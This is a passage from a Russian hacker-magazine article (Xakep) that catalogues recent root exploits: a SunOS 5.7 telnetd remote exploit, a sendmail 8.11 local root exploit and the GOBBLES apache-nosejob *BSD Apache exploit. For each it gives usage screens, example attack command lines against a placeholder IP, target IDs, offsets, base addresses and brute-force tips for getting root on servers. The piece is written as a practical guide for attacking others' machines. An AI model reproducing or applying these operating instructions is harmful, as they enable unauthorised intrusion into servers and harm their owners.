Самые популярные и разрушительные эксплойты последнего времени!

Ares (ares2000@hotbox.ru)

Xakep, номер #045, стр. 045-046-3

Password:MASS OAT ROLL TOOL AGO CAM

> su root

Password:MASS OAT ROLL TOOL AGO CAM

#

После этого получаем root'a.

7. Вот подобрались и к SunOs'у. Представляем SunOs 5.7 telnetd remote root exploit.

[root@www zl0]# ./sunos

Solaris /bin/login array mismangement exploit by

morgan@sexter.com

usage: ./sunos <host>

-r <return address>

-l <return location>

-p <port>

-t <target number>

-e [for local /bin/login execution mode check for +s]

./sunos -e <options> | /bin/login

-b brute force mode

targets are...

0) SunOS 5.7... local

1) SunOS 5.7... remote

2) SunOS 5,7... remote 2

[root@www zl0]#

Example: [root@www zl0]# ./sunos -p 23 -t 1 123.123.123.123

Если с target 1 не удалось эксплойтировать хост, попробуй target 2. Он использует уже другой адрес возврата.

8. ftp рутали, ssh, php тоже, telnetd подавно... добрались до sendmail'a. Это замечательный local root exploit под sendmail версии 8.11.* (кроме 8.11.6).

[root@www zl0]# ./sxp -h

./sxp [command] [options]

-h this help

-d specify depth of analysis (default=32)

-o change offset (default = -32000)

-v specify victim (default /usr/sbin/sendmail)

-t specify temp directory (default /tmp/.sxp)

-b enables bruteforce (WARNING: this may take about 20-30 minutes!)

Для работы требует обычного запуска, с дефолтовым оффсетом работает на rh7.0, rh7.1, suse7.2, slackware 8.0, для остальных используем ключ -b (bruteforce). Бывает, что админ меняет обычное название sendmail, например, на /usr/sbin/sendmail.replaced. Если это так, то добавляем ключ -v и указываем путь к файлу.

9. apache-nosejob. *BSD remote Apache exploit. Этот эксплойт по праву можно назвать эксплойтом лета, его релиз шокировал огромное количество людей. Такие вещи обычно максимально долго держатся в узких кругах, но GOBBLES решили предоставить его публике. Уязвимости подвержены только некоторые версии из *BSD, но, несмотря на это, таких серверов огромное количество.

[root@www zl0]# ./apache-nosejob

GOBBLES Security Labs - apache-nosejob.c

Usage: ./apache-nosejob <-switches> -h host[:80]

-h host[:port] Host to penetrate

-t # Target id.

Bruteforcing options (all required, unless -o is used!):

-o char Default values for the following OSes

(f)reebsd, (o)penbsd, (n)etbsd

-b 0x12345678 Base address used for bruteforce

Try 0x80000/obsd, 0x80a0000/fbsd, 0x080e0000/nbsd.

-d -nnn memcpy() delta between s1 and addr to overwrite

Try -146/obsd, -150/fbsd, -90/nbsd.

-z # Numbers of time to repeat \0 in the buffer

Try 36 for openbsd/freebsd and 42 for netbsd

-r # Number of times to repeat retadd in the buffer

Try 6 for openbsd/freebsd and 5 for netbsd

Example: [root@www zl0]# ./apache-nosejob -р 123.123.123.123 -o f